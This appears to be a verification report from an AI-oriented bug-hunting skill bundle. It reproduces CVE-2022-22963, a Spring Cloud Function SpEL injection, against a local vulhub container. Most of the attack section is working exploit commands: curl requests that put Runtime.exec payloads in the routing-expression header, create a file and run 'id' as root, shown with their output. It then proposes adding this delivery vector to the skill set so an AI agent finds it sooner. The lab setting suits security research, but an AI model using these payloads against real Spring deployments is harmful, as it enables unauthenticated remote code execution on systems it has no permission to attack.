A Claude Code skill bundle for bug hunting and external red-team work - 82 skills, 15 slash commands, 681 disclosed-report patterns curated across 24 core vulnerability classes, plus enterprise identity + infrastructure attack matrices.
Verification — Spring Cloud Function CVE-2022-22963 (SpEL injection → RCE)
SpEL injection via the
spring.cloud.function.routing-expressionHTTP header on Spring Cloud Function ≤ 3.2.2. Unauthenticated remote code execution asrootinside the container. Public-CVE-tagged, widely exploited 2022-2024, relevant to any Spring-based microservice or FaaS deployment.
Target
vulhub/spring-cloud-function:3.2.2 running on port 28080 (remapped from 8080 to dodge Burp proxy on local 8080).
git clone --depth 1 https://github.com/vulhub/vulhub.git /tmp/vulhub
cd /tmp/vulhub/spring/CVE-2022-22963
sed -i.bak 's/"8080:8080"/"28080:8080"/' docker-compose.yml
docker-compose up -d
Confirm baseline:
curl -s http://localhost:28080/uppercase -H "Content-Type: text/plain" --data-binary "test"
# → TEST
What the skill stack actually says
What it knows
hunt-rce (docs/disclosed-reports/hunt-rce.md, line 75) and hunt-ssti correctly carry the generic Spring SpEL primitive:
Spring SpEL → T(java.lang.Runtime).getRuntime().exec('id')
That's the right payload class. The skill correctly identifies "SpEL" as a code-execution sink when an attacker controls the expression input.
What it doesn't know
What's missing is the delivery vector for CVE-2022-22963 specifically:
$ grep -niE "CVE-2022-22963|routing-expression|spring.cloud.function|functionRouter" \
skills/ docs/disclosed-reports/ -r
(no matches)
A fresh user looking at "Spring Cloud Function 3.2.x on port 8080" would have the payload but not know:
- The vulnerable endpoint is
/functionRouter - The injection vector is a request header (
spring.cloud.function.routing-expression), not a body parameter or URL parameter - The header value is evaluated as a SpEL expression before any other routing logic
A real engagement would lose at least 30 minutes of grep-the-source / experimentation to discover the delivery shape, even though the payload is right there.
The exploit (live)
# CVE-2022-22963 — write a file
curl -s -X POST http://localhost:28080/functionRouter \
-H "Content-Type: text/plain" \
-H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{"touch","/tmp/pwned-by-claude-bughunter"})' \
--data "x" \
-o /dev/null -w "HTTP %{http_code}\n"
# → HTTP 500 (200 is also possible depending on version)
Verify side-effect
docker exec cve-2022-22963-spring-1 ls -la /tmp/pwned-by-claude-bughunter
-rw-r--r-- 1 root root 0 May 15 19:07 /tmp/pwned-by-claude-bughunter
File created. Owner is root. SpEL ran inside the JVM with full container privileges.
Stdout-returning variant
curl -s -X POST http://localhost:28080/functionRouter \
-H "Content-Type: text/plain" \
-H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","id > /tmp/cmd-out"})' \
--data "x" \
-o /dev/null -w "HTTP %{http_code}\n"
# Retrieve via filesystem (or chain with hunt-misc file-read if reachable)
docker exec cve-2022-22963-spring-1 cat /tmp/cmd-out
uid=0(root) gid=0(root) groups=0(root)
Runtime.exec accepts a String[] for safe argv splitting — this avoids shell-quoting issues with the SpEL header.
Verdict
Exploit
PASS — live. RCE as root in 3 commands. Container is unauthenticated and the endpoint is reachable on first boot, no setup required.
Skill stack
PARTIAL — payload yes, vector no. The SpEL injection class is documented; the Spring-Cloud-Function-specific endpoint + header are not. Gap is narrower than the Jenkins gap, but still real-world significant: an operator without the delivery vector spends time on discovery that the skill should eliminate.
What gets fixed
hunt-rce/SKILL.md — new pattern
Add a sub-pattern under "Spring SpEL injection" covering Spring Cloud Function:
- Detection: 8080-family port,
/uppercase,/lowercase, or any/functionRouterendpoint, Spring Cloud Function 3.x ≤ 3.2.2 (or ≤ 3.1.6) - Delivery: HTTP header
spring.cloud.function.routing-expression, value is a raw SpEL expression - Test:
curl -X POST /functionRouter -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{"id"})' --data x
docs/disclosed-reports/hunt-rce.md — new Cited Public Example
Add CVE-2022-22963 with VMware Tanzu advisory + the routing-expression header detail.
Severity of the gap
Lower than Jenkins's args4j gap (the payload class IS in the skill — only the vector is missing), but the vector matters. Spring Cloud Function is widely deployed on AWS Lambda, Cloud Run, and on-prem function frameworks. The /functionRouter endpoint is often exposed externally without an explicit routing rule because devs don't realize it auto-registers.
What this verification proves (beyond Jenkins)
The Jenkins CVE surfaced a missing primitive class (args4j @-prefix file read). This Spring CVE surfaces a missing delivery vector for a primitive the skill knows. Both gap types are common in real engagements:
- Sometimes you need a new primitive you've never seen
- Sometimes the primitive is familiar but the target's API shape is novel
A katana-grade stack covers both. Phase 2B's value is that each new CVE reveals which type of gap exists for each engagement-class target.